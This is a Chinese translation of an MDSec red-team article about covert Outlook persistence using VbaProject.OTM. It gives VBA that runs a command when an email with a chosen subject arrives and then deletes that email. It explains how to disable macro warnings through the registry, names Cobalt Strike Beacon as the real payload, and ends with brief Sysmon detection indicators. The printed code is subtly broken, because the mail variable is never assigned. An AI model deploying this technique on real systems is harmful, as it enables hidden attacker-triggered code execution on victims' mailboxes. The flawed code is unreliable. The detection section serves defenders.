0x00 概述
使用低權限用戶在用戶空間建立持久化的技術往往非常有價值,因為這樣的場景遠遠多於權限提升的場景。因此,我們持續研究了一些未被廣泛記錄、可能不會被藍隊監測到的新技術。在去年,我們發表過3篇持久化相關的文章,而在這篇文章中,我們繼續討論持久化技術,重點分析我們近期發現的Outlook持久化技術。到目前為止,這項技術還沒有被太多的藍隊所關注。
此前,已經有多位研究人員針對基於Outlook的持久化這個話題進行了研究,包括Dave Hartley和Nick Landers,他們詳細介紹了如何使用Outlook規則來實現持久化。
在本文中,我們將重點介紹使用Outlook的VbsProject.OTM文件來達到與之相近的效果。儘管該技術還沒有流傳太廣,但Cobalt Kitty此前已經將其用於命令和控制通道。
0x01 分析
與大多數Microsoft Office產品套件一樣,Outlook可以啟用「開發人員」選項卡,並通過VB編輯器創建基於VBA的宏。我們打開編輯器,創建一個簡單的宏,可以找到一個名為「ThisOutlookSession」的Outlook特定模塊。
在保存宏後,Outlook會在%APPDATA%\Roaming\Microsoft\Outlook目錄下創建VbaProject.OTM文件。
但是,如果我們嘗試以默認配置來執行宏,會出現失敗提示,因為默認配置被設定為「為有數字籤名的宏提供通知,禁用所有其他宏」。
但是,我們可以通過使用以下值來創建Security註冊表項,以修改這項配置。
在宏安全性配置中,Level值定義如下:
4 = 不提供通知,禁用所有宏
3 = 為有數字籤名的宏提供通知,禁用所有其他宏
2 = 為所有宏提供通知
1 = 啟用所有宏
要允許宏在不通知用戶的情況下以隱蔽方式運行,我們可能需要設置Level值為1,在操作期間啟用所有宏。
檢查VbaProject.OTM文件,我們發現它是標準的Microsoft複合文檔文件(CDF):
dmc@deathstar ~ ?
VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
使用oledump.py對其進行進一步分析,可以發現其中包含宏代碼的OLE流:
dmc@deathstar ~ ? python oledump.py ~/VbaProject.OTM
1: 43 'OutlookProjectData'
2: 388 'OutlookVbaData/PROJECT'
3: 59 'OutlookVbaData/PROJECTwm'
4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession'
5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT'
6: 497 'OutlookVbaData/VBA/dir'
至此,我們現在知道了VbaProject.OTM是啟用OLE宏的標準文檔,因此創建、混淆、清除(Purging)、重載(Stomping)這些文件的傳統工具和技術仍然適用。當我們將其投遞到磁碟上時,可能需要確保其靜態安全性。
接下來,讓我們來深入研究,如何將其作為武器化的持久化工具。
0x02 武器化
為了讓VBA代碼執行更有意義,代碼需要作為事件的結果來執行。ThisOutlookSession模塊允許我們訂閱Outlook中的多種不同事件,這將導致有不同的機會來實現代碼執行。
這裡討論的是持久化方式,可能會涉及到由用戶驅動的某些事件(例如:打開Outlook)或由攻擊者決定的某些事件(例如:接收到特定郵件)。在這裡,我們將重點討論後者,並說明如何利用帶有特定主題的郵件實現任意VBA執行。
為了確定何時收到新的郵件,我們可以通過在Outlook啟動時首先訂閱默認收件箱的事件來實現,具體使用以下方法。首先,在註冊事件時,為默認收件箱文件夾(olInboxItems)設置變量。
Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup()
Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub
然後,利用用戶對收件箱的引用,我們可以藉助「ItemAdd」回調函數在收到新郵件時接收事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
End Sub
具體而言,我們只對接收到的電子郵件感興趣,因此可以對回調再做一下優化,使其僅在接收到新郵件時觸發。可以通過驗證條目,確認其類型是否為「MailItem」來實現這一點。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
If TypeOf Item Is MailItem Then
MsgBox "You have mail"
End If
End Sub
當然,我們不想每收到一封郵件就執行一次,因此可以使用特定的條件判斷,包括發件人地址、主題、正文內容等過濾接收到的郵件。在這裡,對上述代碼進行擴展,當收到特定主題(MailItem.Subject)的郵件時,執行代碼,隨後使用MailItem.Delete方法刪除電子郵件。
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
On Error Resume Next
Dim olMailItem As MailItem
If TypeOf Item Is MailItem Then
If InStr(olMailItem.Subject, "MDSec") > 0 Then
MsgBox "Hack The Planet"
olMailItem.Delete
End If
End If
Set Item = Nothing
Set olMailItem = Nothing
End Sub
將上述代碼組合在一起,最終彈出計算器。
Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup()
Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
On Error Resume Next
Dim olMailItem As MailItem
If TypeOf Item Is MailItem Then
If InStr(olMailItem.Subject, "MDSec") > 0 Then
MsgBox "Hack The Planet"
Shell "calc.exe"
olMailItem.Delete
End If
End If
Set Item = Nothing
Set olMailItem = Nothing
End Sub
演示視頻:https://vimeo.com/482370663
彈出計算器只是概念證明,實際上可以利用武器化的方式生成一個Beacon,具體的實現方式留給各位讀者嘗試。
演示視頻:https://vimeo.com/482376266
0x03 檢測
從終端安全的角度,可以通過以下兩個關鍵指標檢測該技術:
1、監測%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件的創建、修改事件(Sysmon事件ID 11);
2、監測註冊表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security鍵和Level值的創建、修改事件(Sysmon事件ID 12)。
這篇文章由Dominic Chell撰寫。
參考及來源:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
特別聲明:以上內容(如有圖片或視頻亦包括在內)為自媒體平臺「網易號」用戶上傳並發布,本平臺僅提供信息存儲服務。
Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.